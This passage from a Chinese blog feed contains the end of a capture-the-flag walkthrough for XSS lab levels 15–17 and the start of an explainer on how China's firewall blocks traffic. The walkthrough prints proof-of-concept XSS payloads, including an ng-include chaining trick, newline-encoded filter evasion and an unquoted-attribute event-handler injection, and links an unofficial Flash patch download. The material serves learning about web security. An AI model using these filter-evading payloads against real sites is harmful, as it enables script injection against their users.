sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/59/responsive/level15-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/level15-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/level15-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/level15-xl.webp 1024w\"></figure>\n<p>它是不是在等我们通过<code>URL</code>参数给<code>ng-include</code>传一个页面地址？</p>\n<p>常见参数名可能是<code>src</code></p>\n<p>所以我们试试在后面拼接：</p>\n<pre class=\"language-php line-numbers\"><code>src='level1.php'\n#注意这里有单引号，因为 ng-include 后面接的是 Angular 表达式，不是普通字符串\n#这里的 'level1.php' 就是一个字符串，Angular 知道你要加载这个页面</code></pre>\n<p>发现居然下面拼接出来了第一关的页面</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/59/Ping-Mu-Jie-Tu-2026-05-21-232855.png\" alt=\"\" width=\"2212\" height=\"1588\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-21-232855-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-21-232855-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-21-232855-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-21-232855-xl.webp 1024w\"></figure>\n<p data-section-id=\"1oy48zb\" data-start=\"1540\" data-end=\"1555\">然后再构造 XSS</p>\n<p data-start=\"1557\" data-end=\"1602\">既然它可以加载别的页面，那我们可以加载前面已经知道有 XSS 的页面</p>\n<p data-start=\"1557\" data-end=\"1602\">比如 level1的漏洞是：</p>\n<pre class=\"language-html line-numbers\"><code>level1.php?name=alert弹窗语句</code></pre>\n<p>但是我们并不能直接把第一关的<code><span class=\"ͼ13\">&lt;script&gt;</span><span class=\"ͼ11\">alert</span>(<span class=\"ͼy\">1</span>)<span class=\"ͼ13\">&lt;/script&gt;</span></code>拿来直接使用</p>\n<p data-start=\"1406\" data-end=\"1473\">因为 level15 是通过 AngularJS 的 <code data-start=\"1433\" data-end=\"1445\">ng-include</code> 把 level1 的返回内容“动态插入”到当前页面里</p>\n<p data-start=\"1475\" data-end=\"1523\">动态插入 HTML 时，浏览器/Angular 往往不会执行里面的 <code data-start=\"1509\" data-end=\"1519\">&lt;script&gt;</code> 标签</p>\n<p data-start=\"1475\" data-end=\"1523\">结合之前的第十四关（level14），我们可以使用</p>\n<pre class=\"language-html line-numbers\"><code>&lt;img src=x onerror=alert(1)&gt;</code></pre>\n<p>所以第 15 关可以使用以下的代码：</p>\n<pre class=\"language-http line-numbers\"><code>level15.php?src='level1.php?name=&lt;img src=x onerror=alert(1)&gt;'</code></pre>\n<p>输入后，即可成功触发弹窗：</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/59/Ping-Mu-Jie-Tu-2026-05-21-234122.png\" alt=\"\" width=\"2143\" height=\"1125\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-21-234122-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-21-234122-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-21-234122-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-21-234122-xl.webp 1024w\"></figure>\n<p>需要注意，这里不能和文件包含漏洞弄混淆，区别如下：</p>\n<pre class=\"language-markdown line-numbers\"><code>从思路上，它像文件包含；\n从漏洞类型上，它更准确地叫 AngularJS ng-include 导致的前端 XSS</code></pre>\n<h4>第十六关（level16）</h4>\n<p>首先还是依旧<code>Ctrl+U</code>查看源码</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/59/level16.png\" alt=\"\" width=\"1218\" height=\"702\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/59/responsive/level16-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/level16-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/level16-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/level16-xl.webp 1024w\"></figure>\n<p>这个位置其实很像我们在第 1 关测试的：</p>\n<pre class=\"language-html line-numbers\"><code>&lt;h2&gt;test&lt;/h2&gt;</code></pre>\n<p>所以第一反应应该是：</p>\n<pre class=\"language-html line-numbers\"><code>&lt;script&gt;alert(1)&lt;/script&gt;</code></pre>\n<p>但是第 16 关肯定不会这么简单。它会过滤一些东西</p>\n<p>再看源码，发现它变成了奇怪的东西，我们的<code>&lt;script&gt;</code>标签变成了<code>&amp;nbsp;</code></p>\n<p>既然<code>&lt;script&gt;</code>标签不行，那么我们尝试前一关的：</p>\n<pre class=\"language-html line-numbers\"><code>&lt;img src=x onerror=alert(1)&gt;</code></pre>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/59/level16-1.png\" alt=\"\" width=\"1617\" height=\"700\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/59/responsive/level16-1-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/level16-1-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/level16-1-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/level16-1-xl.webp 1024w\"></figure>\n<p>但是输入之后，依旧是失败的</p>\n<p>查看源码后发现：<strong data-start=\"10\" data-end=\"66\">第 16 关没有把 <code data-start=\"22\" data-end=\"25\">&lt;</code>、<code data-start=\"26\" data-end=\"29\">&gt;</code>、<code data-start=\"30\" data-end=\"39\">onerror</code> 删除，但它把普通空格替换成了 <code data-start=\"55\" data-end=\"63\">&amp;nbsp;</code></strong></p>\n<p>目前可以推断：</p>\n<pre class=\"language-markdown line-numbers\"><code>&lt; 没有被过滤\n&gt; 没有被过滤\nimg 没有被过滤\nsrc 没有被过滤\nonerror 没有被过滤\nalert 没有被过滤\n\n但是普通空格被替换成了 &amp;nbsp;</code></pre>\n<p>空格可以用回车来代替绕过，回车的url编码是<code>%0a</code>，&lt;&gt;的url编码是，再配合上之前的<code>&lt;img&gt;</code>标签</p>\n<pre class=\"language-html line-numbers\"><code>&lt;img\nsrc=x\nonerror=alert(1)&gt;</code></pre>\n<p>将此内容进行URL转码</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/59/Ping-Mu-Jie-Tu-2026-05-22-000948.png\" alt=\"\" width=\"2864\" height=\"1376\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-22-000948-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-22-000948-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-22-000948-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-22-000948-xl.webp 1024w\"></figure>\n<p>最终可得以下URL编码（有点长）：</p>\n<pre class=\"language-php line-numbers\"><code>%3c%69%6d%67%0a%73%72%63%3d%78%0a%6f%6e%65%72%72%6f%72%3d%61%6c%65%72%74%28%31%29%3e</code></pre>\n<p>输入后，即为成功：</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/59/Ping-Mu-Jie-Tu-2026-05-22-000308.png\" alt=\"\" width=\"1932\" height=\"1075\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-22-000308-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-22-000308-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-22-000308-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-22-000308-xl.webp 1024w\"></figure>\n<h4>第十七关（level17）</h4>\n<p>打开后发现我们这个浏览器貌似不支持Flash插件，所以我们需要安装一个Flash补丁（纯净版本的，无广告，BTW，安装好后，需要依赖Flash插件的4399，7K7K等网页小游戏也能游玩了）</p>\n<p>下载链接：<a href=\"https://wwbte.lanzn.com/b014xa3ktc\" target=\"_blank\" rel=\"noopener noreferrer\">点我前往下载</a>    密码：gsh3</p>\n<p>（1）下载好了之后，按照以下步骤完成安装</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/59/flash.png\" alt=\"\" width=\"1409\" height=\"700\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/59/responsive/flash-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/flash-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/flash-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/flash-xl.webp 1024w\"></figure>\n<p>（2）下图三个勾保持全选，并点击<code>NEXT</code></p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/59/flash-1.png\" alt=\"\" width=\"1414\" height=\"696\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/59/responsive/flash-1-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/flash-1-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/flash-1-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/flash-1-xl.webp 1024w\"></figure>\n<p>（3）下图的含义我都标注出来了（我不希望创建快捷方式，所以我值选择第一个）</p>\n<p>第一个你也可以选择不打勾（这个独立安装指的是能直接打开本地SWF小游戏用的）</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/59/flash-2.png\" alt=\"\" width=\"1405\" height=\"702\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/59/responsive/flash-2-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/flash-2-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/flash-2-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/flash-2-xl.webp 1024w\"></figure>\n<p>（4）这里直接按照下图，选择NEXT</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/59/flash-3.png\" alt=\"\" width=\"1416\" height=\"701\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/59/responsive/flash-3-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/flash-3-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/flash-3-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/flash-3-xl.webp 1024w\"></figure>\n<p>（5）再然后点击INSTALL，等待进度条跑完即可</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/59/flash-4.png\" alt=\"\" width=\"1407\" height=\"694\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/59/responsive/flash-4-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/flash-4-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/flash-4-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/flash-4-xl.webp 1024w\"></figure>\n<p>（6）最后安装好后，点击<code>QUIT</code>退出</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/59/flash-5.png\" alt=\"\" width=\"1409\" height=\"702\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/59/responsive/flash-5-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/flash-5-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/flash-5-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/flash-5-xl.webp 1024w\"></figure>\n<p>配置Edge浏览器（这里用Edge示例，其他浏览器也一样）</p>\n<p>（1）打开浏览器的“设置”，搜索“Internet Explorer”选项</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/59/flash-6.png\" alt=\"\" width=\"2074\" height=\"1291\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/59/responsive/flash-6-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/flash-6-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/flash-6-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/flash-6-xl.webp 1024w\"></figure>\n<p>按照上图进行操作</p>\n<p>（2）按照下图的图片文字来操作</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/59/flash-7.png\" alt=\"\" width=\"2077\" height=\"1271\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/59/responsive/flash-7-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/flash-7-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/flash-7-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/flash-7-xl.webp 1024w\"></figure>\n<p>（3）刷新原网页，即可出现</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/59/Ping-Mu-Jie-Tu-2026-05-22-005023.png\" alt=\"\" width=\"2065\" height=\"1275\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-22-005023-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-22-005023-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-22-005023-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-22-005023-xl.webp 1024w\"></figure>\n<p>查看源码后，不难发现</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/59/level17.png\" alt=\"\" width=\"2515\" height=\"852\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/59/responsive/level17-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/level17-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/level17-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/level17-xl.webp 1024w\"></figure>\n<p><code data-start=\"0\" data-end=\"9\">&lt;embed&gt;</code> 你可以先把它理解成：</p>\n<pre class=\"language-html line-numbers\"><code>&lt;embed src=\"要加载的资源地址\"&gt;</code></pre>\n<p>它是 HTML 里用来<strong data-start=\"69\" data-end=\"79\">嵌入外部资源</strong>的标签。以前常见用途是嵌入 Flash、PDF、音频、视频之类的内容</p>\n<pre class=\"language-html line-numbers\"><code>&lt;embed src=\"xsf01.swf\" width=\"100%\" height=\"100%\"&gt;</code></pre>\n<p>意思就是：</p>\n<pre class=\"language-markdown line-numbers\"><code>在当前网页里嵌入 xsf01.swf 这个 Flash 文件</code></pre>\n<p><code data-start=\"373\" data-end=\"378\">a=b</code> 有什么用？它的作用是让你发现：</p>\n<pre class=\"language-markdown line-numbers\"><code>arg01 和 arg02 被拼进了 embed 的 src 属性里</code></pre>\n<p>我们当前的 URL 是：</p>\n<pre class=\"language-http line-numbers\"><code>level17.php?arg01=a&amp;arg02=b</code></pre>\n<p>源码里变成：</p>\n<pre class=\"language-html line-numbers\"><code>&lt;embed src=xsf01.swf?a=b width=100% heigth=100%&gt;</code></pre>\n<p>这说明：</p>\n<pre class=\"language-markdown line-numbers\"><code>arg01 的值 a\narg02 的值 b\n\n被拼成了：\n\nxsf01.swf?a=b</code></pre>\n<p>也就是：</p>\n<pre class=\"language-markdown line-numbers\"><code>xsf01.swf?arg01的值=arg02的值</code></pre>\n<p>所以 <code data-start=\"736\" data-end=\"741\">a=b</code> 本身不是漏洞，它是一个<strong data-start=\"753\" data-end=\"759\">线索</strong></p>\n<p>因为我们知道了：</p>\n<pre class=\"language-markdown line-numbers\"><code>arg02 的值会出现在 HTML 标签的 src 属性里</code></pre>\n<p>而且源码中 <code data-start=\"838\" data-end=\"843\">src</code> 没有引号：</p>\n<pre class=\"language-html line-numbers\"><code>&lt;embed src=xsf01.swf?a=b width=100% heigth=100%&gt;</code></pre>\n<p>如果属性没有引号，浏览器遇到空格就会认为这个属性结束了</p>\n<p>比如正常是：</p>\n<pre class=\"language-http line-numbers\"><code>src=xsf01.swf?a=b</code></pre>\n<p>如果我们让 <code data-start=\"988\" data-end=\"995\">arg02</code> 变成：</p>\n<pre class=\"language-html line-numbers\"><code>b onmouseover=alert(1)</code></pre>\n<p>那么页面就会变成：</p>\n<pre class=\"language-html line-numbers\"><code>&lt;embed src=xsf01.swf?a=b onmouseover=alert(1) width=100% heigth=100%&gt;</code></pre>\n<p>这时候：</p>\n<pre class=\"language-html line-numbers\"><code>src=xsf01.swf?a=b</code></pre>\n<p data-start=\"1168\" data-end=\"1172\">就结束了</p>\n<p data-start=\"1174\" data-end=\"1178\">后面的：</p>\n<pre class=\"language-html line-numbers\"><code>onmouseover=alert(1)</code></pre>\n<p data-start=\"1214\" data-end=\"1226\">变成了一个新的事件属性。</p>\n<p data-start=\"1228\" data-end=\"1258\">鼠标移动到这个嵌入区域上时，就会执行 <code data-start=\"1247\" data-end=\"1257\">alert(1)</code></p>\n<p>所以最终的payload如下：</p>\n<pre class=\"language-http line-numbers\"><code>http://192.168.153.141:8088/level17.php?arg01=a&amp;arg02=b%20onmouseover=alert(1)</code></pre>\n<p>其中：<code>%20 </code>= 空格</p>\n<p>一句话总结：</p>\n<p>embed 是嵌入外部资源的标签；a=b 的作用是暴露 arg01 和 arg02 被拼进了 embed 的 src 属性里。真正的漏洞点是 src 属性没有加引号，导致可以用空格逃出属性并添加事件</p>\n<p>最后由于浏览器的内置保护，导致不能执行恶意代码，但是最终是能成功的</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/59/Ping-Mu-Jie-Tu-2026-05-22-011251.png\" alt=\"\" width=\"2073\" height=\"1360\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-22-011251-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-22-011251-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-22-011251-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-22-011251-xl.webp 1024w\"></figure>\n<p>可能作者也考虑到了这一点，所以我们点击前往下一关的按钮即可</p>\n<h2 class=\"align-center\">剩余内容正在更新中</h2>\n<p class=\"align-center\"><strong>Ciallo～(∠・ω&lt; )⌒☆</strong></p>",
            "author": {
                "name": "云泽"
            },
            "tags": [
                   "网络安全学习笔记",
                   "Linux学习笔记"
            ],
            "date_published": "2026-05-17T23:01:18+09:00",
            "date_modified": "2026-05-22T01:18:24+09:00"
        },
        {
            "id": "https://old.zeyun.org/what_is_gfw.html",
            "url": "https://old.zeyun.org/what_is_gfw.html",
            "title": "内网模拟&quot;长城防火墙&quot;",
            "summary": "由于众所不一定周知的原因，在国内正常网络环情况下，你是无法直接打开 Google、YouTube、Gmail 等一系列国际服务的…… 这一切的根源，就是在我们和真实互联网之间，横着一堵看不见却又无处不在的「墙」 这堵墙在行内人嘴里有个响亮的名字——长城防火墙（简称&hellip;",
            "content_html": "<p dir=\"auto\">由于众所不一定周知的原因，在国内正常网络环情况下，你是无法直接打开 Google、YouTube、Gmail 等一系列国际服务的……</p>\n<p dir=\"auto\">这一切的根源，就是在我们和真实互联网之间，横着一堵看不见却又无处不在的「墙」</p>\n<p dir=\"auto\">这堵墙在行内人嘴里有个响亮的名字——<strong>长城防火墙</strong>（简称 <strong>GFW</strong>）</p>\n<p dir=\"auto\"><strong>Q：那么这个所谓的「GFW」到底是什么东西？</strong></p>\n<p dir=\"auto\"><strong>A：</strong> 它其实并不是一堵实体意义上的「墙」，而是一套<strong>智能检测 + 主动阻断</strong>的系统，部署在各大运营商的骨干网出口</p>\n<p dir=\"auto\">它主要靠以下几种手段「工作」：</p>\n<ul dir=\"auto\">\n<li><strong>深度包检测（DPI）</strong>：不仅看域名（DNS）、HTTP 头，连 TLS SNI，部分加密流量的特征都敢硬抠</li>\n<li><strong>DNS 污染</strong>：你一查被墙域名，它就抢答一堆假 IP，让你直接连不上</li>\n<li><strong>TCP 重置攻击</strong>：发现敏感关键词，瞬间伪造 RST 包，让双方以为对方主动断开连接</li>\n<li><strong>IP 封锁</strong>：直接把境外服务器 IP 扔进黑洞路由，流量石沉大海</li>\n<li><strong>主动探测</strong>：对可疑的 VPN、Shadowsocks、VLESS 等协议进行主动探测并封杀</li>\n</ul>\n<p dir=\"auto\"><strong>Q：那「翻墙」到底是个什么原理？</strong></p>\n<p dir=\"auto\"><strong>A：</strong> 直白点说，就是把你的流量<strong>加密 + 伪装 + 境外中转</strong>，让 GFW 看不懂、拦不住（ 简单理解就是：<strong>翻墙 = 让 GFW 觉得你在访问一个「正常」的国际网站，而不是在翻墙</strong>）</p>\n<figure class=\"post__image\"><img  src=\"https://old.zeyun.org/media/posts/58/Wang-Luo-Zong-Lan.png\" alt=\"\" width=\"1415\" height=\"915\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/58/responsive/Wang-Luo-Zong-Lan-xs.webp 320w ,https://old.zeyun.org/media/posts/58/responsive/Wang-Luo-Zong-Lan-sm.webp 480w ,https://old.zeyun.org/media/posts/58/responsive/Wang-Luo-Zong-Lan-md.webp 768w ,https://old.zeyun.org/media/posts/58/responsive/Wang-Luo-Zong-Lan-xl.webp 1024w\"></figure><figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/58/mermaid-diagram.svg\" alt=\"\"></figure>\n<table class=\"min-w-full border-collapse text-sm leading-[1.7] whitespace-normal\" style=\"width: 100%; height: 194.25px;\">\n<thead class=\"text-left\">\n<tr style=\"height: 48.5625px;\">\n<th class=\"text-text-100 border-b-0.5 border-[hsl(var(--border-300)/0.6)] py-2 pr-4 align-top font-bold\" style=\"width: 21.1749%; height: 48.5625px;\" scope=\"col\">场景</th>\n<th class=\"text-text-100 border-b-0.5 border-[hsl(var(--border-300)/0.6)] py-2 pr-4 align-top font-bold\" style=\"width: 35.1774%; height: 48.5625px;\" scope=\"col\">对应演化阶段</th>\n<th class=\"text-text-100 border-b-0.5 border-[hsl(var(--border-300)/0.6)] py-2 pr-4 align-top font-bold\" style=\"width: 43.5051%; height: 48.5625px;\" scope=\"col\">演示的攻防点</th>\n</tr>\n</thead>\n<tbody>\n<tr style=\"height: 48.5625px;\">\n<td class=\"border-b-0.5 border-[hsl(var(--border-300)/0.3)] py-2 pr-4 align-top\" style=\"width: 21.1749%; height: 48.5625px;\">A</td>\n<td class=\"border-b-0.5 border-[hsl(var(--border-300)/0.3)] py-2 pr-4 align-top\" style=\"width: 35.1774%; height: 48.5625px;\">最古老的 DNS 污染</td>\n<td class=\"border-b-0.5 border-[hsl(var(--border-300)/0.3)] py-2 pr-4 align-top\" style=\"width: 43.5051%; height: 48.5625px;\">连域名解析都过不了</td>\n</tr>\n<tr style=\"height: 48.5625px;\">\n<td class=\"border-b-0.5 border-[hsl(var(--border-300)/0.3)] py-2 pr-4 align-top\" style=\"width: 21.1749%; height: 48.5625px;\">B(Trojan)</td>\n<td class=\"border-b-0.5 border-[hsl(var(--border-300)/0.3)] py-2 pr-4 align-top\" style=\"width: 35.1774%; height: 48.5625px;\">第 3 代</td>\n<td class=\"border-b-0.5 border-[hsl(var(--border-300)/0.3)] py-2 pr-4 align-top\" style=\"width: 43.5051%; height: 48.5625px;\">有指纹的协议被 DPI 识破</td>\n</tr>\n<tr style=\"height: 48.5625px;\">\n<td class=\"border-b-0.5 border-[hsl(var(--border-300)/0.3)] py-2 pr-4 align-top\" style=\"width: 21.1749%; height: 48.5625px;\">C(Reality)</td>\n<td class=\"border-b-0.5 border-[hsl(var(--border-300)/0.3)] py-2 pr-4 align-top\" style=\"width: 35.1774%; height: 48.5625px;\">第 4 代</td>\n<td class=\"border-b-0.5 border-[hsl(var(--border-300)/0.3)] py-2 pr-4 align-top\" style=\"width: 43.5051%; height: 48.5625px;\">借真站门面骗过检测</td>\n</tr>\n</tbody>\n</table>\n<p>为了能够更好的理解上面的内容，我把会涉及到的一些关键名词概念，在这里先做一个统一的讲解</p>\n<h5>先给个全局：当我们正常打开一个网页时，背后具体发生了什么</h5>\n<pre class=\"language-markdown line-numbers\"><code>当你输入 google.com\n  → ① DNS 查询:把域名 google.com 换成 IP 地址(问\"DNS 服务器\")\n  → ② 拿到 IP,向这个 IP 发起 TCP 连接\n  → ③ 如果是 https,做 TLS 握手(建立加密通道,握手里带 SNI)\n  → ④ 加密传输网页内容</code></pre>\n<p>GFW 在每一步都有对应的干预手段，下面的名词就是按这几步展开的</p>\n<h5 class=\"text-text-100 mt-3 -mb-1 text-[1.125rem] font-bold\">1. DNS —— 域名的\"电话簿\"</h5>\n<p class=\"font-claude-response-body break-words whitespace-normal\"><strong>DNS(Domain Name System)</strong> 解决一件事:人记得住 <code class=\"bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]\">google.com</code>,但网络只认 IP 地址(如 <code class=\"bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]\">142.250.x.x</code>)。DNS 就是那本\"域名 → IP\"的电话簿。你每次访问网站,第一步都是先问 DNS:\"google.com 的 IP 是多少?\"</p>\n<p><strong>DNS 污染 / DNS 投毒：</strong>GFW 最省事的封锁手段。既然你要先问 DNS，那我(GFW)就在答案上做手脚——你问 <code class=\"bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]\">google.com</code> 的 IP，正常应该返回谷歌的真 IP，但被污染后返回一个<strong>假 IP</strong> 最终会发现，你压根连不到真谷歌</p>\n<h5 class=\"text-text-100 mt-3 -mb-1 text-[1.125rem] font-bold\">2. IP 地址 &amp; 端口 —— 网络上的\"门牌号 + 房间号\"</h5>\n<ul class=\"[li_&amp;]:mb-0 [li_&amp;]:mt-1 [li_&amp;]:gap-1 [&amp;:not(:last-child)_ul]:pb-1 [&amp;:not(:last-child)_ol]:pb-1 list-disc flex flex-col gap-1 pl-8 mb-3\">\n<li class=\"font-claude-response-body whitespace-normal break-words pl-2\"><strong>IP 地址</strong>:每台机器在网络上的门牌号,如 10.10.40.100。</li>\n<li class=\"font-claude-response-body whitespace-normal break-words pl-2\"><strong>端口(port)</strong>:同一台机器上,不同服务用不同房间号。443 是 HTTPS 的标准端口,80 是 HTTP,22 是 SSH。所以\"连 10.10.40.100 的 443 端口\"= 找那台机器上的 HTTPS 服务。</li>\n</ul>\n<p class=\"font-claude-response-body break-words whitespace-normal\"><strong>IP 封锁</strong>:GFW 最粗暴的手段——直接把某个 IP 拉黑,任何人连它都不通。前面讲的\"主动探测确认是梯子后封 IP\"，封的就是这个</p>\n<h5 class=\"text-text-100 mt-3 -mb-1 text-[1.125rem] font-bold\">3. TCP —— 可靠传输的\"打电话\"约定</h5>\n<p class=\"font-claude-response-body break-words whitespace-normal\"><strong>TCP(Transmission Control Protocol)</strong> 是最常用的传输方式。特点是\"先握手建立连接,再传数据,保证不丢不乱\"。开头有个\"三次握手\"(SYN → SYN-ACK → ACK),你可以理解成打电话前的\"喂?——喂,能听到吗?——能\"</p>\n<p class=\"font-claude-response-body break-words whitespace-normal\">GFW 的 <code class=\"bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]\">block</code> 是丢包让连接建不起来(超时)，而现实中的 GFW 常发 <strong>RST(reset)包</strong>——相当于强行挂断电话,连接立刻重置。RST 是 TCP 协议里的\"立即终止\"信号</p>\n<h5 class=\"text-text-100 mt-3 -mb-1 text-[1.125rem] font-bold\">4. TLS —— 加密的\"信封\"</h5>\n<p class=\"font-claude-response-body break-words whitespace-normal\"><strong>TLS(Transport Layer Security)</strong> 就是 HTTPS 里的那个\"S\"(Secure)。没有它,你和网站之间的数据是明文,谁都能看；有了它，数据被加密封进\"信封\"，中间人(包括 GFW)只能看到信封，看不到里面写了啥</p>\n<p class=\"font-claude-response-body break-words whitespace-normal\">TLS 开始时要<strong>握手(handshake)</strong>：双方协商加密方式、交换证书、生成密钥。<strong>这个握手过程本身有一部分是明文的</strong>——这就给 GFW 留了破绽，见下面的 SNI</p>\n<p 